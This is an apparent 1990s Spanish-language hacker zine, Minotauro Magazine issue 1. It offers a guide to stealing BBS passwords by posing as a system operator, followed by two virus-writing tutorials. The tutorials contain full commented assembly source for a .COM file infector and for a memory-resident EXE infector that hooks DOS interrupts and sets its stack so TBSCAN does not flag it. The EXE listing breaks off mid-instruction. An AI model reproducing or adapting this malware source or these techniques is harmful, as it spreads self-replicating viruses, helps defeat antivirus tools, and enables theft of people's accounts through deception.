Bienvenidos a la edici¢n n§ 1 de Minotauro Magazine (c) Minotauro Group. Ante todo, unas palabras de los autores..: Como veran esta es la primer revista en formato ascii que refleja el mundo del under informatico, (en castellano). Lo que tratamos de hacer con esto es reco_ *** (bueno, en el momento que escrib¡ esto no conoc¡a las HBO) *** pilar todo lo que podamos, y armarlo en un paquete, para no tener que estar pensando "en donde deje el formato de los .exe", ¢ "como mierda se hacia para evadir al vsafe" (puajj!!). Con respecto a la velocidad de edicion, no tenemos un tiempo determinado. Pue_ de ser tanto una semana, como 2 meses. Todo depende de cuanto podamos juntar y compilar. Lo que s¡, esperamos todo el apoyo posible (hmmm:) para que esto sal_ ga adelante...Cualquier informaci¢n ser  bienvenida. Cualquier tipo de dudas, nos pueden encontrar en estos BBS de Bs.As.: Dionysios I +54-1-253-4389 (23hs a 09hs GMT-3) Dionysios II +54-1-253-2098 (23hs a 09hs GMT-3) Bueno, ya es suficiente..... vayamos a los fierros! =============================================================================== Indice : 1) Robando passwords, by Drako 2) Programaci¢n de virus #1, by Drako 3) Programacion de virus #2, by Trurl 4) Evadiendo al TBAV, Zarathustra, Trurl & Drako 5) Ocultando virus, troyanos..., by Drako 6) Evadiendo al Vsafe, by Drako 7) Emma Virus, by Trurl =============================================================================== Robando passwords... ------------------------------------------------------------------------------- (Quiero aclarar que estas son t‚cnicas muy boludas, pero lo que no quita que sean efectivas:) Qui‚n no quizo alguna vez, saber el password de algun amigo, para ese BBS pago, que tantas ganas de entrar tenes ? Bueno, para eso existen muchos m‚todos... Si el tipo es medio tarado, directamente le pod‚s pedir el TELIX.FON ¢ lo que sea. Pero no es lo m s aconsejable, porque si llegara a no_ tar alguna irregularidad en su cuenta o algo por el estilo, al primero que le echar¡a la culpa ser¡a a m¡ (Bue' en este caso a VOS). Otro m‚todo es pedir_ le directamente TODO el programa de comunicaci¢nes que ‚l use. As¡, no ser¡a tan evidente... pero el m‚todo que yo prefiero, es (si lo conozco y puedo ir a su casa), en un momento de distracci¢n, copiar a mano su registro de tel‚fonos. Ahora, ya con sus passwords, lo que queda es entrar y VIOLAR (en el mal senti_ do de la palabra) esa tan jugosa cuenta. Ahora bien, en el caso de que no conozcamos a la persona, pero sepamos que es usuario de alg£n BBS, lo £nico que hace falta es: A) Conocer su n£mero de tel‚fono B) Aparentar seguridad Con estos 2 puntos, tenemos un 50% del camino hecho. Ahora lo £nico que falta es un poco de suerte.... suerte en el sentido de qui‚n te atienda. Un flaco con un 10% de coeficiente intelectual, no te da su password ni que lo mates, pero nunca est  de mas intentarlo.. de £ltima si todo sale mal, se pue_ de cortar y listo. Llamamos....... nos atiende una persona....... y empieza la joda! En primer lugar, hay que tener bien en mente el nombre del BBS...no titubear. Uno de los mejores versos (y de los m s viejos) es hacrese pasar por el opera_ dor. Con la excusa de que se vol¢ la base de usuarios y que necesitamos sus datos otra vez, le preguntamos sus datos... entablamos una conversaci¢n y en donde veamos que sea el mejor momento, hacemos la pregunta del millon: Y TU PASSWORD ANTERIOR ?? -Hay suspenso.....- Luego de unos segundos se rompe el silencio, el usuario entr¢ como el mejor!!! Una vez que tenemos su password, no desesperar, hay que tratar de que no sea muy obvio de que ya obtuvimos lo que quer¡amos y seguir por un rato mas la conversaci¢n. Despues de los besos, cortamos y llamamos lo mas r pido posible a este BBS. Bueno, ahora quiero entrar a los bbs del mundo y verlos all¡, husmeando por todos lados... Yours faithful, Drako. Programaci¢n de virus (b sico) #1... ------------------------------------------------------------------------------- Esta secci¢n esta dedicada, para aquellos que tienen la intenci¢n, pero NO los conocimientos, como para programar un virus. Ante todo, hacer un virus no es nada del otro mundo. Es un proyecto muy factible, pero eso s¡, es necesario tener conocimientos, por lo menos b sicos, de programaci¢n y muchas ganas! Si algo de esto faltara, programar un virus ser¡a una tarea muy tediosa. Bien, si re£nen estos requisitos entonces sigan leyendo este art¡culo... JE READ JNE FUCK_YOU! READ: La supervivencia de los virus se basa en la reproducci¢n. Uds. dir n: "Y c¢mo mierda hago para que un programa se reproduzca?", bueno......esto es muy sencillo : Copi ndose a s¡ mismo en otros archivos... El funcionamiento l¢gico de un virus es este: 1- Busca un file para infectar 2- Lo abre y revisa si esta infectado 3- Si lo esta, busca otro 4- Sino, lo infecta 5- Le devuelve el control al programa anfitri¢n Un ejemplo de un virus muy boludo es este..: ;****************************************************************************** ; COMIENZO DEL EJEMPLO: ;****************************************************************************** ;Ojo......este ejemplo es una chotada....: ; - el virus no comprueba infecci¢n....... ; - busca £nicamente el primer .COM del directorio actual....... ; ; Cuidado al ejecutarlo, porque la 1ra vez, se ejecuta, busca el primer file y ; lo infecta. Si despues corremos ese file reci‚n infectado, se ejecuta el ; virus desde ah¡. Entonces el virus busca el primer file del direcotorio otra ; vez y vuleve a infectar el mismo file y as¡ sucesivamente.... ;===================================CODIGO===================================== ;(Aclaraci¢n : las variables de un .COM son relativas al offset 100h) codigo segment 'code' org 100h ;Organizo todo el c¢digo a ; partir del offset 100h assume cs:codigo,ds:codigo,es:codigo ;Defino el uso de los segmentos start proc far ;Comienzo del procedimiento COMIENZO: push cs ;Guardo en la pila a CS push cs ;Guardo en la pila a CS ; otra vez mas. pop ds ;Saco de la pila a DS pop es ;Saco de la pila a ES call falso_proc ;Llamo al proc. para que me ; quede en la pila la direccion ; del proc. falso_proc proc near falso_proc endp pop bp ;BP<== Direccion del proc. sub bp, 107h ;BP<== BP - Dir. anterior. ;Esto lo hago para tomar las variables relativas a BP. Ya que cuando infecto, ;las variables me quedan desplazadas exactamente la longitud del file. En la ;primer infecci¢n la posicion de la intrucci¢n SUB BP, 107h es 107h, con lo ;cual BP me queda en 0, entonces cuando llame a una variable con BP+VARIABLE, ;el valor de la direcci¢n de la variable no se modifica, y cuando lo cargo de ;un file infectado de por ejemplo 100h bytes, la instrucci¢n SUB BP,107h me ;queda en la direcci¢n 207h, quedandome BP=100h, justamente el tama¤o del file ;original. Entonces si yo hubiera llamado a la variable sin sumarle BP, me hu_ ;biera quedado 100h bytes cortos. ;Buscar el primer .COM del directorio ----------------------------------------- mov ah, 4eh ;Buscar 1er file. lea dx, bp+file_inf ;DS:DX= offset de FILE_INF ;(*.*) para que busque TODOS ;los archivos, incluyendo ;directorios con extensi¢n. mov cx, 0000h ;Atributos de la entrada. int 21h ;Esos atributos que menciono en el comentario, son los atributos de la entrada ;de directorio..Al poner los atributos en 0, le digo al DOS que busque archi_ ;vos normales. Si pongo alguna combinaci¢n de bits que comprenda los atributos ;de Hidden, System, ¢ Directorio, el DOS busca files con esos atributos, ademas ;de los normales. Si el rango de busqueda incluye el bit de Volumen, entonces ;la busqueda se limita a eso. ;Estos son los bits correspondientes a cada atributo : ;Bits: 7 6 5 4 3 2 1 0 ; . . . . . . . 1 Bit 0: Read only ; . . . . . . 1 . Bit 1: Hidden ; . . . . . 1 . . Bit 2: System ; . . . . 1 . . . Bit 3: Volumen ; . . . 1 . . . . Bit 4: Directorio ; . . 1 . . . . . Bit 5: Archivo ; ;Los bits 6 y 7 no son usados.. son reservados para 'futuras aplicaciones' ;Abrir file ------------------------------------------------------------------- mov ah, 3dh ;Abro file. mov al, 00000010b ;Para lectura/escritura. mov dx, 009eh ;DX<== offset del DTA(Filename) int 21h ;El handle viene al AX. push ax ;Lo guardo en la pila. ;Ahora los atributos que estoy seteando en AL, no son los mismos que antes. ;Estos son atributos de apertura... Lo que nos interesa de esto son £nicamente ;los primeros 3 bits: ; ;Bits: 2 1 0 ; ; 0 0 0 Modo de Read only ; 0 0 1 Modo de Write only ; 0 1 0 Modo de Read/Write ; ;Ahora bien, ya en AL tenemos seteados los atributos del file. Lo que necesita_ ;mos ahora es tener en DX, el offset de la variable donde tengo la cadena ;ASCIIZ con el nombre del file a abrir. En este caso no tenemos una variable ;NOMBRE_DEL_FILE, sino que el nombre lo tenemos en el DTA (Disk Transfer Area). ;Digo que lo tenemos en el DTA... por qu‚?? Sencillamente porque el servicio de ;buscar un file para infectar :) devuelve toda la informaci¢n necesaria en esta ;zona de memoria.. Este b£ffer, si no fue seteado a otra direcci¢n, se encuen_ ;tra en el PSP. Mas precisamente a partir del offset 80h y tiene un tama¤o de ;43d bytes. ;El formato del DTA es el siguiente : ; ;Offset Bytes Funci¢n ; 00h 21d Usado por el DOS para el servicio 4fh (Buscar ; pr¢ximo file) ; 15h 01d Atributos del file encontrado ; 16h 02d Hora del file ; 18h 02d Fecha del file ; 1Ah 04d Tama¤o del file en bytes ; 1Eh 13d Nombre del file en una cadena ASCIIZ ; (FILENAME.EXT),0 ; ;Bueno, entonces lo £nico que necesito es darle a DX la posici¢n de memoria ;donde tengo el nombre del file : MOV DX, 1Eh y listo. Pero cuidado, acu‚rdense ;que el DTA empezaba a partir del offset 80h, osea que a DX le tengo que pasar ;el valor de : 80h+1Eh = 9Eh. Entonces quedar¡a MOV DX, 9Eh. ;Ese problema ya est  solucionado. Ahora se preguntar n que es eso del handle.. ;bueno, el handle (tomenlo as¡) es un n£mero con el cu l, el DOS sabe a que ar_ ;chivo nos estamos refiriendo. El DOS nos da un handle por cada archivo que a_ ;brimos, as¡ que hay que tener cuidado, al querer leer o escribir a un file, de ;tener el handle correspondiente. ;Leo los 3 primeros bytes ----------------------------------------------------- pop bx ;Sco handle de la pila hacia BX push bx ;Y lo vuelvo a guardar. mov ah, 3fh ;Leer file. mov cx, 0003h ;Leer 3 bytes. lea dx, bp+buffer ;Para guardarlo en el buffer. int 21h INFECTAR: ;Mover puntero al principio --------------------------------------------------- mov ax, 4200h ;Muevo el puntero de escritura ; al principio del prog. mov cx, 0000h mov dx, 0000h int 21h ;En CX y DX va el desplazamiento del puntero, relativo a la posici¢n del punte_ ;ro (especificado en AL) ; Modos de desplazamiento del puntero seteados en AL: ; AL <== 00 Mover el puntero al principio del file ; AL <== 01 Dejar el puntero donde est  ; AL <== 02 Mover el puntero al final del file ;Escrivo el primer byte (jmp) ------------------------------------------------- mov ah, 40h ;Escribir el 1er. byte. mov cx, 1d ;Cantidad=1. lea dx, bp+jump ;DX<== offset de JUMP int 21h ;(Ac  tambi‚n necesito el handle, pero no lo seteamos otra vez, porque todav¡a ;el registro donde estaba el handle no se modific¢)... ; ;El primer byte que se tiene que escribir es un jump. El s¡mbolo del jump est  ;mas abajo. Lo que le sigue al jump es la direcci¢n de este salto : ;Longitud del file + 1 (lo de +1 pruebenlo bien, generalmente trae problemas, ;si es as¡, entonces multipl¡quenlo por 18 o restenle 23) jejejej. ;Como todo el c¢digo del virus va a ir copiado al final del file, el salto le ;da el control al virus en un file infectado. ;Calculo la longitud del file ------------------------------------------------- mov cx, 2 ;Copiar 2 bytes. mov si, 009ah ;SI<== offset del DTA (long.). lea di, bp+longitud ;DI<== offset de LONGITUD. rep movsb ;Copia. ;Esta instrucci¢n necesita en DS:SI la direcci¢n del buffer 'SOURCE' y en ES:DI ;la direcci¢n del buffer donde se va a copiar el string (en este caso copio la ;longitud del file del DTA a la variable LONGITUD) sub word ptr [bp+longitud], 3 ;Resto 3 bytes a [LONGITUD]. ;Escrivo longitud o sea, completo el jmp -------------------------------------- mov ah, 40h ;Escribo. mov cx, 2d ;Cantidad de bytes. lea dx, bp+longitud ;DX<== offset de LONGITUD. int 21h ;Mover puntero al final ------------------------------------------------------- mov ax, 4202h ;Muevo el puntero de escritura ; al final del prog. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;Restauro LONGITUD. ;Copio el virus al programa --------------------------------------------------- pop bx ;Restauro el handle. mov ah, 40h ;Servicio. mov cx, 190d ;Cantidad de bytes a copiar. lea dx, bp+comienzo ;Copiar desde... int 21h ;Cierro el file luego de haberlo infectado ------------------------------------ mov ah, 3eh ;Cerrar file. int 21h ;Ac  tambi‚n necesito en DS:DX la direcci¢n del buffer con el string contenien_ ;do el nombre del file, pero ya DS y DX me vienen cargados de arriba. NO_INFECTAR: ;=======================DEVUELVE EL CONTROL AL ANFITRION======================= ;Copiar el buffer con los 3 primeros byte del file a memoria ------------------ mov cx, 0003h ;Cantidad de bytes (3). mov di, 0100h ;DI<== offset 100h. Comienzo ; del prog. en memoria. lea si, bp+buffer ;SI<== offset del BUFFER rep movsb ;Copia. ;Lo que estoy haciendo ac , es recomponer el file, ya que una vez que qued¢ ;infectado, los primeros bytes del programa est n sobreescritos por el virus, ;por eso hay que volver a poner el file como estaba originalmente (copiando ;los primeros 3 bytes que hab¡amos guardado anteriormente, a la memoria) ;Saltar al offset 100h -------------------------------------------------------- mov ax, 0100h ;Direccion para ejecucion del jmp ax ; anfitrion. ;En los .com, el c¢digo ejecutable, comienza a partir del offset 100h. ;Lo que hay entre el offset 00h y el 100h son datos del programa, como el DTA ;por ejemplo. ;Antes que nada, la diferencia principal entre un .COM y un .EXE es que un .COM ;no puede ocupar mas de un segmento de memoria (65535 bytes), mientras que un ;.EXE puede, ya que el DOS se encarga de "recortarlo" y ponerlo en diferentes ;segmentos. ;Los .COM son copias fieles de lo que hay en memoria, a diferencia de los .EXE ;==============================AREA DE DATOS=================================== buffer db 7d dup(0) longitud db 2 dup(0) file_inf db '*.COM',0 jump db 'é',0 ;<----ascii del jump ;(El 0 es el caracter de fin de ASCIIZ string) start endp ;Fin del procedimiento princip. codigo ends ;Fin del segmento de codigo end comienzo ;Fin. Que empiece en COMIENZO ;****************************************************************************** ; FIN DEL EJEMPLO ;****************************************************************************** Programaci¢n de virus (no tan b sico) #2... ------------------------------------------------------------------------------- La infeccion de EXE no es mucho mas dificil que la de COM. Lo que sucede es que implica el dominio de una estructura conocida como "EXE header", pero una vez conocido este, no es muy dificultosa, y ofrece mas matices que el puro y simple agregado de un JMP al principio del codigo. Comencemos... % Estructura del Header % La estructura de un header EXE esta disponible en casi cualquier libro bueno de DOS, e incluso en algunas otras revistas de H/P/V, pero de todas formas, la pongo aca para que el lector que no la tiene sepa de que estoy hablando: Offset Descripcion 00 Marca de EXE (MZ = 4D5A) 02 Numero de bytes en la ultima pagina (de 512 bytes) del programa 04 Numero total de paginas de 512 bytes, redondeado hacia arriba 06 Numero de entradas en la Tabla de Alocacion 08 Size del header (en paragrafos, incluyendo la Tabla de realocacion) 0A Minimo de memoria requerido (en para) 0C Maximo de memoria requerido (en para) 0E SS inicial 10 SP inicial 12 Checksum 14 IP inicial 16 CS inicial 18 Offset de la Tabla de Alocacion desde el comienzo del file 1A Numero de Overlays generados La marca de EXE (MZ) es en realidad lo que distingue a un EXE de un COM, y no la extension. La extension solo sirve para que DOS determine que correr antes (COM-> EXE -> BAT). Pero lo que determina si es un exe 'verdadero' o no, es esta marca. Las entradas 02 y 04 contienen el size del programa en si, en el formato 512 byte pages * 512 + reminder. Osea, si el programa es de 1025 bytes, tengo 512 byte pages = 3 (redondeado hacia arriba) y reminder = 1. (En realidad uno se pregunta, si las paginas estan redondeadas hacia arriba, para que es el reminder. Es mas, ya que vamos a usar 4 bytes para el size, porque no ponerlo simple y llano. Y bueh, es dura la vida del programador de virus :-)) La entrada en 06 contiene el numero de entradas de la tabla de realocacion (el numero de "punteros", ver mas abajo), y la entrada en 18 contiene el offset de esta tabla dentro del file. El size del header (en 08) incluye la tabla de realocacion. El minimo de memoria requerida (0A) es lo minimo que necesita el prog. para correr, y el maximo (0C), lo que desearia para correr. (Por lo general es seteado a FFFF = 1M por los linkers, y DOS entrega toda la memoria disponible). El SS:SP y CS:IP contienen los valores iniciales para estos registros (ver abajo). Notese que SS:SP esta puesto al reves, osea que un LDS no funciona para cargarlo. El checksum (12) y el numero de overlays (1A) pueden ser ignorados, ya que nunca son usados. % EXE vs. COM load process % Bueno, todos conocemos exhaustivamente como se carga un COM: Se construye un PSP, se crea un Environment Block a partir del bloque del parent y se copia el file COM integro y textualmente en la memoria, debajo del PSP. El hecho de que la memoria (en la arquitectura de nuestras computadoras) este segmentada en 'cachos' de 64k hace que ningun COM pueda tener un size mayor a este. (Porque, si lo tuviera, como lo accederia, de todos modos, si el file es copiado textual a memoria. De todas formas DOS no ejecuta COM de +64k). Ademas, ninguna instruccion que involucre referencias de segmento (del tipo CALL XXXX:XXXX, etc) esta permitida. Notese que ademas cuando un COM es cargado, se le entrega toda la memoria disponible. En el caso de los EXE, para sobreponerse a estas limitaciones, la cosa es mas compleja, y se utiliza la consabida "Tabla de realocacion" (reallocation table), y el Header EXE para esto. Cuando se ejecuta un EXE, DOS primero hace las cosas como en un COM (Construye PSP, Crea Environment Block). Luego lee, a un area de trabajo, el Header, y a partir de los datos de este, el programa en si en el apropiado lugar de la memoria, y por ultimo, en otro area de trabajo, la tabla de realocacion. A continuacion procede a realocatear todo el codigo. ¨En que consiste esto? El linker trata a las referencias de segmento siempre con un base adress de 0. Osea, el primer segmento es el 0, el segundo el 1, etc. Sin embargo, el programa es cargado en un segmento que no es 0, sino, por ejemplo, 1000H. Entonces todas las referencias al segmento 1, deben ser convertidas al segmento 1001H. La tabla de realocacion es sencillamente una lista de punteros que marcan referencias de este tipo (al segmento "1", etc). Estos punteros a su vez son relativos a la base adress de 0, osea que tambien deben ser realocateados. Por lo tanto, DOS suma al "puntero" de la tabla de realocacion el segmento efectivo (el segmento en que fue cargado el programa, osea 1000H) y obtiene asi una direccion absoluta en memoria de la referencia de segmento. A esta referencia le suma tambien el segmento efectivo, y luego de haber hecho esto con todas y cada una de las referencias de segmento, el EXE esta realocateado, y listo para ejecutar. Por ultimo DOS setea SS:SP a los valores del header (tambien realocateados, osea el SS del header+1000H), y entrega el control al CS:IP del header (obviamente tambien realocateado). Veamos un ejemplo sencillo: EXE PROGRAM FILE Header CS:IP (Header) 0000:0000 + (relocation Eff. Segment 1000 + table entries=2) PSP 0010 = ------------------------- Entry Point 1010:0000 >ÄÄÄÄÄÄÄÄÄ¿ Relocation Table ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ 0000:0003 >ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ 0000:0007 >ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿ ³ ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ Program Image ³ ³ PROGRAM IN MEMORY ³ ³ ³ PSP 1000:0000 ³ call 0001:0000 ³ ÀÄÄ> call 1011:0000 1010:0000 <ÄÙ nop ³ nop 1010:0005 mov ax, 0003 ÀÄÄÄÄ> mov ax, 1013 1010:0006 mov ds, ax mov ds, ax 1010:0009 Nota: Espero que sepan apreciar el uso de las flechitas, porque me costo un huevo hacerlas a manopla con Alt+??? en Norton Comander Editor. % La infeccion del EXE % Luego que se ha determinado que el file es un EXE y no un COM, estos son los pasos a seguir para infectarlo: - Obtener el size del file y calcular el CS:IP Esto es controvertido. Si bien no todos, la mayoria de los virus agregan al file 1-15 bytes de basura para redondearlo a paragrafo. Esto permite calcular CS de tal forma que IP es invariante de un file infectado a otro. A su vez esto permite escribir el virus sin "realocacion", ya que corre siempre en el mismo offset, lo cual redunda en una complejidad y un size menor del virus. El esfuerzo (minimo) de escribir estos 1-15 bytes se justifica por estos beneficios. - Agregar el Virus al final del file Bueno, supongo que conoceran la funcion 40H de INT 21H, a esta altura, no? :-). - Calcular el SS:SP En la infeccion de EXE, es necesario que el virus se "arregle" una stack nueva propia porque sino podria darse el caso que la stack del hoste estuviera SOBRE el codigo del virus, y al usarla, se sobreescribiera el codigo que se esta ejecutando. El sistema se colgaria. Por lo general SS es igual al CS calculado, y SP constante (se lo puede poner despues del codigo, p.eg.) Una cosa hay que notar: SP nunca puede ser impar. Si es impar, aunque funciona, es un error, y el TBSCAN lo detecta. (TBSCAN detecta 99% de las stacks de los virus con la flag 'K'. La unica forma de eludirla que he descubierto es poner la stack ADELANTE del virus en el file infectado, lo cual es bastante trucho, pues aumenta el size de infeccion, pues hay que escribir mas "basura" para hacer espacio de stack) - Modificar el size reportado en el header Ahora que ya se ha escrito el virus, se puede calcular el size final y asi escribirlo en el header. La cuenta es sencilla: en "paginas" va el size dividido por 512 mas 1, y en reminder, va el resto. Facil de hacer, basta una instruccion DIV. - Modificar el "MinAlloc" En la mayoria de los EXE, el "MaxAlloc" esta puesto en FFFF, osea un mega, y el DOS le entrega toda la memoria disponible. En estos casos, hay lugar de sobra para HOSTE+VIRUS. Pero dos cosas pueden suceder: Uno, que el header no tenga FFFF en el MaxAlloc, haciendo que solo haya un minimo de memoria para el hoste, y posiblemente nada para el virus. Dos, que haya poca memoria en el sistema, y "toda la memoria disponible" entregada por el FFFF sea aun asi insuficiente para HOSTE+VIRUS. En ambos casos, el virus no se carga, y el sistema se cae. Para solucionar esto, basta sumar al MinAlloc el size del virus en paragrafos. En el primer caso, el virus se cargaria en memoria y todo andaria al pelo. En el segundo, DOS se negaria a ejecutar el file, por memoria insuficiente. Bien, esto es todo. Solo dos ultimas cositas: al hacer un infector de EXE, no solo interesa la rutina de infeccion, sino ademas la de instalacion. Tomar en cuenta que en un EXE, DS y ES apuntan al PSP, y son diferentes de SS, y CS, que a su vez pueden ser distintos entre si. Esto les puede salvar de HORAS de debugging y errores inexplicables. Bueno, basta seguir estos pasos para infectar un exe en la manera 'tradicional' y segura. Recomiendo observar atentamente el virus de ejemplo (mas abajo) que ilustra todos y cada uno de los topicos mencionados. % Detalles, Oh, Detalles ... % Un ultimo detalle, importante en cierta medida, son los EXEs de un tamano muy grande. Existen algunos ejecutables de este tipo, mayores a 500k, a veces. (Por ejemplo el TC.EXE que era el IDE del Turbo C/C++ 1.01, tenia 800k). Porsupuesto estos EXEs no son comunachos, sino EXEs con overlays internos. Estos EXEs son casi imposibles de infectar por dos razones: La primera de tipo teorica. Sucede que con un par de registros SEGMENT:OFFSET solo se puede direccionar 1M. Por lo tanto es tecnicamente imposible infectar EXEs de 1M+ de la forma tradicional (Ya que es imposible direccionar el CS:IP al final del file). Ningun virus puede ni podra hacerlo. (Existen EXE de 1M+? Si, el EXE del juego HOOK ocupaba 1.6M BLERGH!). La segunda, de tipo practica. Estos EXEs con overlays internos no se cargan enteros en memoria, como los exes comunes. Se carga solo una parte pequena de ellos, que se encarga de cargar a las otras partes a medida que las necesita. Es por eso que puede correr un EXE de 800k (No se si se dieron cuenta que 800k > 640k :-). Porque esto hace dificil infectarlos? Porque uno de estos EXEs luego de haber sido infectado, dadas las modificaciones hechas por el virus (Entre ellas la del size del program load image), tratara de ser cargado ENTERO en memoria. Osea, del principio al fin. Osea, los 800k (o los que sean). Evidentemente, el sistema se cuelga :-). Se puede pensar un virus que infectara EXEs muy largos con overlays internos (menores a 1M), mediante la manipulacion del "Header Size", pero aun asi no lo veo muy posible ya que en alguna parte DOS deberia cargar un header de 800k :-). % Un caso especial: RAT % La comprension del proceso de la realocacion de un Header nos permite entender ahora el funcionamiento de un virus infector de EXE especial. Se trata del virus RAT. Este virus se aprovecha del hecho de que los linkers suelen hacer los headers de a cachos de 512 bytes, dejando mucho espacio sin usar en los casos en que hay poca realocacion. Este virus utiliza este espacio para copiarse. Se copia alli, en el espacio sin usar del header (de la tabla de realocacion). Porsupuesto su funcionamiento es totalmente diferente del de un infector normal de EXE. No puede admitir ninguna realocacion, ya que como su codigo esta ANTES del del hoste, seria su codigo (y no el del hoste) el que seria realocateado. Por lo tanto, tampoco puede hacer un sencillo salto al codigo del hoste para correrlo, (ya que no esta realocateado) sino que tiene que volver a escribir el header original a file, y correro con un AX=4B00, INT 21. % Virus Ejemplo % Bueno, como corresponde a toda revista de Virus que se precie, aqui va un codigo totalmente funcional, y que ilustra todo lo dicho sobre la infeccion de EXE. Si no entendieron alguna parte, o si quieren ver algo hecho "en el codigo", fijense en este virus, que ademas esta comentado HASTA LAS MANOS. -------------------- Cut Here ------------------------------------------------ ; NOTA: Este es un virus mediocre, solo para ilustrar la infeccion de EXE. ; No puede infectar READ ONLY y modifica la fecha/hora del file. Se le ; podrian hacer muchas mejoras, tanto funcionales (haciendo que infecte ; READ ONLY, etc), como de optimizacion de codigo (la mayoria de los datos, ; de hecho, TODOS los datos except SS:SP, CS:IP no son necesarios y podrian ; ser volados, usando luego la heap, ademas de otra optimizaciones). ; NOTA 2: Primero, le puse una notita muy fifi, y segundo, hice que sonara ; una bell cada vez que infecta, asi que si se te escapa y te infecta todo el ; rigido, es porque sos un flor de pelotudo. code segment para public assume cs:code, ss:code VirLen equ offset VirEnd - offset VirBegin VirBegin label byte Install: mov ax, 0BABAH ; Este chequeo es para no quedar residente dos veces. int 21h cmp ax, 0CACAH ; Si nos devuelve este codigo, es que ya esta resi- jz AlreadyInMemory; dente el virus mov ax, 3521h ; Con esto obtenemos el adress original de la INT 21 int 21h ; para luego poder llamarla mov cs:word ptr OldInt21, bx mov cs:word ptr OldInt21+2, es mov ax, ds ; \ dec ax ; | mov es, ax ; | mov ax, es:[3] ; block size ; | Si sos medio novato, ignora todo sub ax, ((VirLen+15) /16) + 1 ; | esto. (Es el metodo de MCB). xchg bx, ax ; | No viene al caso para la mov ah,4ah ; | infeccion de EXE. push ds ; | Es una de las formas de quedar pop es ; | residente de los virus. int 21h ; | mov ah, 48h ; | mov bx, ((VirLen+15) / 16) ; | int 21h ; | dec ax ; | mov es, ax ; | mov word ptr es:[1], 8 ; | inc ax ; | mov es, ax ; | xor di, di ; | xor si, si ; | push ds ; | push cs ; | pop ds ; | mov cx, VirLen ; | repz movsb ; / mov ax, 2521h ; Aqui se cuelga de la INT 21 mov dx, offset NewInt21 push es pop ds int 21h pop ds ; Esto es para que DS y ES esten en sus valores originales push ds ; OJO QUE ESTO ES IMPORTANTE. Sino el EXE, al recibir DS y ES pop es ; incorrectos, se puede colgar. AlreadyInMemory: mov ax, ds ; Con esto seteo SS al valor del Head. add ax, cs:word ptr SS_SP ; notese que lo 'realocateo' usando add ax, 10h ; ds ya que ese es el segmento en que mov ss, ax ; se cargo el prog. El +10 corresponde mov sp, cs:word ptr SS_SP+2 ; al PSP. Tambien seteo SP mov ax, ds add ax, cs:word ptr CS_IP+2 ; Ahora hago lo mismo con CS. add ax, 10h ; e IP. Los pusheo, y despues hago un push ax ; retf. Esto hace que "salte" a esa mov ax, cs:word ptr CS_IP ; posicion push ax retf NewInt21: cmp ax, 0BABAh ; Eso es para el chequeo de que el virus no este jz PCheck ; residente dos veces. cmp ax, 4b00h ; Esta es la intercepcion de la funcion de 'correr jz Infect ; file' jmp cs:OldInt21 ; Si no es ninguna de estas cosas, se le entrega el ; control a la INT 21 original para que esta procese ; la llamada. PCheck: mov ax, 0CACAH ; Este es el codigo que devuelve. iret ; volver. ; Ahora viene la rutina de infeccion. Prestar atencion, pues esto es la ; "cosa en si". Todo lo demas ignorenlo si quieren,pero en esto fijense bien. Infect: push ds ; En DS:DX viene el nombre del file a infectar. push dx ; Por lo tanto hay que guardarlo. pushf call cs:OldInt21 ; Llamamos a int 21 original para correr el file. push bp ; Salvamos todos los registros. mov bp, sp ; Esto es importante en una rutina residente, ya que si push ax ; no se hace, el sistema probablemente se cuelgue. pushf push bx push cx push dx push ds lds dx, [bp+2] ; Reobtenemos el nombre del file (de la stack) mov ax, 3d02h ; Abrimos el file para r/w int 21h xchg bx, ax mov ah, 3fh ; Aqui leemos los primeros 32 bytes del file a mem. mov cx, 20h ; Los leemos a la variable "ExeHead" push cs pop ds mov dx, offset ExeHeader int 21h cmp ds:word ptr ExeHeader, 'ZM' ; Esto es para determinar si es un jz Continue ; EXE "verdadero" o si es un COM. jmp AbortInfect ; Si es un COM, no lo infectamos. Continue: cmp ds:word ptr Checksum, 'JA' ; Esta es la marca de reconocimiento jnz Continue2 ; del virus. Para esto usamos el jmp AbortInfect ; Checksum del Header (que no se usa ; para ninguna otra cosa). Si ya esta ; infectado, no lo infectamos :-) Continue2: mov ax, 4202h ; Ahora vamos al final del file para ver si termina cwd ; en paragrafo. xor cx, cx int 21h and ax, 0fh or ax, ax jz DontAdd ; Si termina en paragrafo, no hacemos nada mov cx, 10h ; Si no termina en paragrafo, le agregamos bytes de sub cx, ax ; basura para rellenar. Notar que no importa que mov ah, 40h ; tenga DX, ya que no importa que es lo que ponemos. int 21h DontAdd: mov ax, 4202h ; Bien, ahora obtenemos el size final, redondeado a cwd ; paragrafo. xor cx, cx int 21h mov cl, 4 ; En este codigo se calcula el nuevo CS:IP que debera shr ax, cl ; tener el file. Se hace la siguiente cuenta: mov cl, 12 ; Size del file: 12340H (DX=1, AX=2340H) shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS add dx, ax ; En DX ahora tenemos el CS que tendra que tener. sub dx, word ptr ds:ExeHeader+8; Le restamos el numero de paragrafos push dx ; del header. Lo guardamos en la stack para despues ; <--------------- Entienden porque no se puede infectar EXEs de 1M+? mov ah, 40h ; Ahora escribimos el virus al final del file. mov cx, VirLen ; Lo hacemos antes de tocar el header porque en el cwd ; CS:IP u SS:SP del header (dentro del codigo del int 21h ; virus) debe quedar el CS:IP, SS:SP original. ; para que funcione correctamente la rutina de instalacion del virus. pop dx mov ds:SS_SP, dx ; Modificamos el CS:IP del header apuntando mov ds:CS_IP+2, dx ; al virus. Y ponemos una stack de 100h mov ds:word ptr CS_IP, 0 ; bytes (despues del virus) pues esta stack ; solo sera usada por el mismo virus en su proceso de instalacion. ; Luego la stack cambia, y pasa a ser la original del programa. mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; Este es para forzar ; SP a ser par pues sino es par, el TBSCAN salta. mov ax, 4202h ; Volvemos a obtener el NUEVO size, para poder xor cx, cx ; calcular el size que hay que poner en el header. cwd int 21h mov 